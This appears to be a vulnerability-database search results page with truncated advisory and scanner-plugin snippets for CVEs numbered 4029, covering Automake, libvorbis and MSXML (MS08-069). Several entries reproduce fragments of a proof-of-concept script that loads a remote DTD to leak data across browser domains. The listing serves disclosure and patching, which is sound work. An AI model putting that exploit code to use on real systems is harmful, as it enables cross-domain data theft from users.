Fedora 12 : automake-1.11.1-1.fc12 (2009-13157)

Wed Dec 9 2009 Karsten Hopp 1.11.1-1 - update to version 1.11.1 to fix CVE-2009-4029 - Tue Dec 1 2009 Karsten Hopp 1.11-6 - preserve time stamps of man pages 225302 - drop MIT from list of licenses - Wed Nov 4 2009 Stepan Kasal - 1.11-5 - add even more testsuite build requires - Wed Nov 4 2009...

Fedora Update for automake FEDORA-2009-13157

Check for the Version of automake OpenVAS Vulnerability Test Fedora Update for automake FEDORA-2009-13157 Authors: System Generated Check Copyright: Copyright c 2010 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...

CVE-2009-4029

The 1 dist or 2 distcheck rules in GNU Automake 1.11.1, 1.10.3, and release branches branch-1-4 through branch-1-9, when producing a distribution tarball for a package that uses Automake, assign insecure permissions 777 to directories in the build tree, which introduces a race condition that allo...

CVE-2009-4029

CVE-2009-4029 affects GNU Automake 1.11.1, 1.10.3 and release branches branch-1-4 through branch-1-9. The vulnerability arises when producing a distribution tarball: the dist or distcheck rules assign insecure permissions (777) to directories in the build tree, creating a race that allows local u...

SLES10: Security update for libvorbis

The remote host is missing updates to packages that affect the security of your system. One or more of the following packages are affected: libvorbis libvorbis-devel More details may also be found by searching for the SuSE Enterprise Server 10 patch database linked in the references...

SuSE9 Security Update : libvorbis (YOU Patch Number 11932)

Specially crafted OGG files could crash libvorbis or make it run into an endless loop. CVE-2007-4029, CVE-2007-4065, CVE-2007-4066 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

Mandriva Update for libvorbis MDKSA-2007:167 (libvorbis)

Check for the Version of libvorbis OpenVAS Vulnerability Test Mandriva Update for libvorbis MDKSA-2007:167 libvorbis Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify i...

Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069

No description provided by source. html body KB955218 - CVE-2008-4029 - JA script type="text/javascript" var dom = new ActiveXObject"Msxml2.DOMDocument.3.0"; dom.async = false; var url = "http://www.milw0rm.com/forfun.dtd"; var xml = "!DOCTYPE pwn SYSTEM '" + url + "'"; if dom.loadXMLxml == 0...

Microsoft XML Core Services DTD - Cross-Domain Scripting (MS08-069)

Microsoft XML Core Services DTD - Cross-Domain Scripting MS08-069 KB955218 - CVE-2008-4029 - JA var dom = new ActiveXObject"Msxml2.DOMDocument.3.0"; dom.async = false; var url = "http://www.milw0rm.com/forfun.dtd"; var xml = ""; if dom.loadXMLxml == 0 alert"Blue or Red Pill? " +...

Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069

Exploit for unknown platform in category remote exploits =================================================================== Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069 =================================================================== KB955218 - CVE-2008-4029 - JA var do...

Microsoft XML Core Services DTD - Cross-Domain Scripting (MS08-069)

KB955218 - CVE-2008-4029 - JA var dom = new ActiveXObject"Msxml2.DOMDocument.3.0"; dom.async = false; var url = "http://www.milw0rm.com/forfun.dtd"; var xml = ""; if dom.loadXMLxml == 0 alert"Blue or Red Pill? " + dom.parseError.srcText; milw0rm.com 2008-11-23...

Microsoft XML Core Services DTD跨域信息泄露漏洞（MS08-069）

BUGTRAQ ID: 32155 CVECAN ID: CVE-2008-4029 Microsoft XML Core Services（MSXML）允许使用JScript、VBScript和Visual Studio 6.0的用户开发基于XML的应用，以与其他遵循XML 1.0标准的应用程序交互操作。 Microsoft XML Core Services处理外部文档类型定义（DTD）的错误检查的方式中存在一个信息泄露漏洞。如果用户浏览包含特制内容的网站或打开特制HTML电子邮件，此漏洞可能允许用户读取另一个Internet Explorer域中的网页的数据。 Microsoft...

CVE-2008-4029

CVE-2008-4029 relates to a cross-domain scripting vulnerability in Microsoft XML Core Services 3.0/4.0 (MSXML) used by Internet Explorer. The issue stems from improper error checking for external DTDs in XML documents, enabling a crafted XML to leak information to another domain. Microsoft MS08-0...

MS08-069: Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (955218)

The remote host is running a version of Windows that contains a flaw in the Windows XML Core Services. An attacker may be able to execute arbitrary code on the remote host by constructing a malicious script and enticing a victim to visit a website or view a specially crafted email message. C...

Gentoo Security Advisory GLSA 200710-03 (libvorbis)

The remote host is missing updates announced in advisory GLSA 200710-03. OpenVAS Vulnerability Test $ Description: Auto generated from Gentoo's XML based advisory Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc. http://www.securityspace.com Text descriptions are largely excerpted fr...

SuSE 10 Security Update : libvorbis (ZYPP Patch Number 4584)

Specially crafted OGG files could crash libvorbis or make it run into an endless loop. CVE-2007-4029 / CVE-2007-4065 / CVE-2007-4066 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

openSUSE 10 Security Update : libvorbis (libvorbis-4583)

Specially crafted OGG files could crash libvorbis or make it run into an endless loop CVE-2007-4029, CVE-2007-4065, CVE-2007-4066. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update libvorbis-458...

libvorbis security update

CentOS Errata and Security Advisory CESA-2007:0912-01 Updated libvorbis packages to correct several security issues are now available for Red Hat Enterprise Linux 2.1 This update has been rated as having important security impact by the Red Hat Security Response Team. The libvorbis package contai...

RHEL 2.1 : libvorbis (RHSA-2007:0912)

Updated libvorbis packages to correct several security issues are now available for Red Hat Enterprise Linux 2.1 This update has been rated as having important security impact by the Red Hat Security Response Team. The libvorbis package contains runtime libraries for use in programs that support...

Important: Red Hat Security Advisory: libvorbis security update

Updated libvorbis packages to correct several security issues are now available for Red Hat Enterprise Linux 2.1 This update has been rated as having important security impact by the Red Hat Security Response Team. The libvorbis package contains runtime libraries for use in programs that support...